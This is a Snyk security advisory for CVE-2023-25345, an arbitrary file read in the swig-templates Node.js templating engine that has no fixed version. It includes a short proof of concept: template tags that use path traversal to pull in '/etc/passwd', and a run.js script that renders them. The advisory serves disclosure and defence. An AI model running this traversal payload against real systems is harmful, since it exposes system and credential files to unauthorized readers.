Arbitrary File Read Affecting swig-templates package, versions *
Snyk CVSS
Attack Complexity
High
Confidentiality
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.15% (52nd
percentile)
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Test your applications- Snyk ID SNYK-JS-SWIGTEMPLATES-3266805
- published 11 May 2023
- disclosed 2 Feb 2023
- credit y1nglamore
Introduced: 2 Feb 2023
CVE-2023-25345 Open this link in a new tabHow to fix?
There is no fixed version for swig-templates.
Overview
swig-templates is an A simple, powerful, and extendable templating engine for node.js and browsers, similar to Django, Jinja2, and Twig.
Affected versions of this package are vulnerable to Arbitrary File Read via the renderFile method.
PoC
1.html
{% extends '../../../../../etc/passwd' %}
{% include '../../../../../etc/passwd' %}
// run.js
var swig = require('swig');
var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html');
console.log(output);